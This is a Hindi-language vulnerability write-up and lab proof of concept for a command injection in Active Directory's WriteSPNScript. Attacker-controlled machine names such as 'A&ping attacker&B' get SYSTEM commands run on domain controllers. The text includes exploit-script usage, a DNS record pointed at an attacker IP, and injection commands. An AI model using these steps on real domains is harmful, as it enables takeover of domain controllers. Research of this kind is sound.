
CVE-2026-49179 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और एक्सप्लॉइट स्क्रिप्ट, जो Active Directory के WriteSPNScript फ़ंक्शन में एक कमांड इंजेक्शन है जो डोमेन कंट्रोलर पर SYSTEM RCE को सक्षम बनाता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (कमांड इंजेक्शन) |
| प्रभावित घटक | ntdsai.dll — WriteSPNScript फ़ंक्शन |
| प्रभावित सिस्टम | Windows Server 2016, 2019, 2022, 2025 (पैच-पूर्व) |
| आक्रमण वेक्टर | प्रमाणित डोमेन उपयोगकर्ता (कोई भी) |
| प्रभाव | डोमेन कंट्रोलर पर SYSTEM के रूप में रिमोट कोड निष्पादन |
| प्रकाशित | अगस्त 2026 |
ntdsai.dll में WriteSPNScript फ़ंक्शन Active Directory रखरखाव संचालन के दौरान SPN (Service Principal Name) उपचार के लिए बैच स्क्रिप्ट कमांड उत्पन्न करता है। यह फ़ंक्शन repadmin.exe /writespn कमांड बनाने के लिए एक फ़ॉर्मेट स्ट्रिंग का उपयोग करता है, लेकिन Distinguished Name (DN) पैरामीटर को सैनिटाइज़ करने में विफल रहता है, जिससे & वर्ण (cmd.exe कमांड विभाजक) के माध्यम से कमांड इंजेक्शन की अनुमति मिलती है।
भेद्य फ़ॉर्मेट स्ट्रिंग:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parameters: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN मशीन खाते के Common Name (CN) से प्राप्त होता है, जो खाता निर्माण के दौरान सेट किया जाता है। जब किसी मशीन खाते को उसके नाम में shell metacharacters के साथ बनाया जाता है, तो वे अक्षर बिना escape हुए जनरेट किए गए स्क्रिप्ट में प्रवाहित हो जाते हैं। जब cmd.exe स्क्रिप्ट निष्पादित करता है, तो & एक कमांड विभाजक के रूप में कार्य करता है, जिससे हमलावर-नियंत्रित कमांड SYSTEM के रूप में निष्पादित होते हैं।
Active Directory में मशीन खातों के प्रबंधन के लिए दो प्राथमिक प्रोटोकॉल हैं:
| प्रोटोकॉल | वर्ण सत्यापन | Shell Metacharacters |
|---|---|---|
| LDAP (SPN मान) | सख्त — CONSTRAINT_ATT_TYPE & ; | ' \ $ ( )` को अस्वीकार करता है | अवरुद्ध |
| SAMR (मशीन नाम) | ढीला — बुनियादी खाता नाम प्रारूप का सत्यापन करता है | अनुमत: & ' \ $ ( ) ! space` |
यह सत्यापन असममिति मूल कारण है:
sAMAccountName में shell metacharacters की अनुमति देता है, जो CN बन जाता है और DN में प्रवाहित होता हैWriteSPNScript को पास किया जाता हैअनपैच्ड बाइनरी में पते 0x1802a98a0 पर:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA DN को सीधे आउटपुट बफ़र में फ़ॉर्मेट करता है। कोई एस्केपिंग नहीं, कोई कोटिंग नहीं, कोई सैनिटाइज़ेशन नहीं।
CN=A&ping attacker&B वाली मशीन के लिए:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe इसे पाँच अलग-अलग कथनों के रूप में व्याख्यायित करता है:
| # | कथन | परिणाम |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | विफल (अपूर्ण DN) |
| 2 | ping attacker | इंजेक्टेड — SYSTEM के रूप में निष्पादित होता है |
| 3 | B,CN=Computers,DC=... HOST/A | विफल (मान्य कमांड नहीं) |
| 4 | ping attacker | इंजेक्टेड — पुनः निष्पादित होता है (SPN पैरामीटर से) |
| 5 | B | विफल (मान्य कमांड नहीं) |
इंजेक्टेड कमांड दो बार प्रकट होता है — एक बार DN पैरामीटर से और एक बार SPN पैरामीटर से (जिसमें मशीन का नाम भी शामिल है)।
पैच किया गया WriteSPNScript (आकार: 1477 → 2005 बाइट्स) तीन परिवर्तन करता है:
DN और SPN दोनों पैरामीटर पर लागू दो नए सैनिटाइज़ेशन फ़ंक्शन:
EscapeForPowerShellSingleQuote() — सिंगल-कोटेड स्ट्रिंग्स से ब्रेकआउट रोकने के लिए ' को एस्केप करता हैEscapeForNativeArgvBackslashesBeforeDoubleQuote() — नेटिव argv पार्सिंग के लिए " से पहले \ अनुक्रमों को एस्केप करता है| बेस (भेद्य) | पैच किया गया | |
|---|---|---|
| फ़ंक्शन | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| कोटिंग | कोई नहीं | सिंगल-कोटेड पैरामीटर |
| आउटपुट | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
एक पूर्व संशोधन में एक फ़ीचर फ़्लैग Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled था जो फ़िक्स को नियंत्रित करता था। अंतिम पैच में, यह फ़्लैग हटा दिया गया — फ़िक्स हमेशा सक्रिय रहता है और इसे अक्षम नहीं किया जा सकता।
| होस्ट | भूमिका | IP | OS |
|---|---|---|---|
| WINTERFELL | डोमेन कंट्रोलर | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| डोमेन | north.sevenkingdoms.local | ||
| निम्न-विशेषाधिकार उपयोगकर्ता | samwell.tarly / Heartsbane | सामान्य डोमेन उपयोगकर्ता | |
| एडमिन उपयोगकर्ता | robb.stark / sexywolfy | डोमेन एडमिन |
spn_probe3.py का उपयोग करते हुए, परीक्षण किया गया कि SAMR मशीन खाता नामों में कौन-से वर्ण स्वीकार करता है बनाम LDAP SPN मानों में क्या स्वीकार करता है:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
मुख्य निष्कर्ष: SAMR परीक्षण किए गए सभी 8 शेल मेटाकैरेक्टर की अनुमति देता है। LDAP उन सभी को ब्लॉक करता है। इंजेक्शन वेक्टर SAMR द्वारा बनाए गए मशीन नामों के माध्यम से है, SPN मानों के माध्यम से नहीं।
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
इसे samwell.tarly के रूप में भी बनाया गया:
[+] Created C&ping a&D$, RID: 1138
पुष्टि: सामान्य डोमेन उपयोगकर्ता (PR:L) नाम में & कमांड इंजेक्शन के साथ मशीन खाते बना सकता है।
सामान्य डोमेन उपयोगकर्ता ADIDNS रिकॉर्ड जोड़ सकते हैं। हमलावर की ओर इंगित करने वाला एक छोटा होस्टनाम बनाने के लिए dnstool.py का उपयोग किया गया:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC पर सत्यापित रिज़ॉल्यूशन:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
DC पर निष्पादित WriteSPNScript द्वारा उत्पन्न होने वाले सटीक आउटपुट का अनुकरण:
फ़ाइल लेखन प्रमाण:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"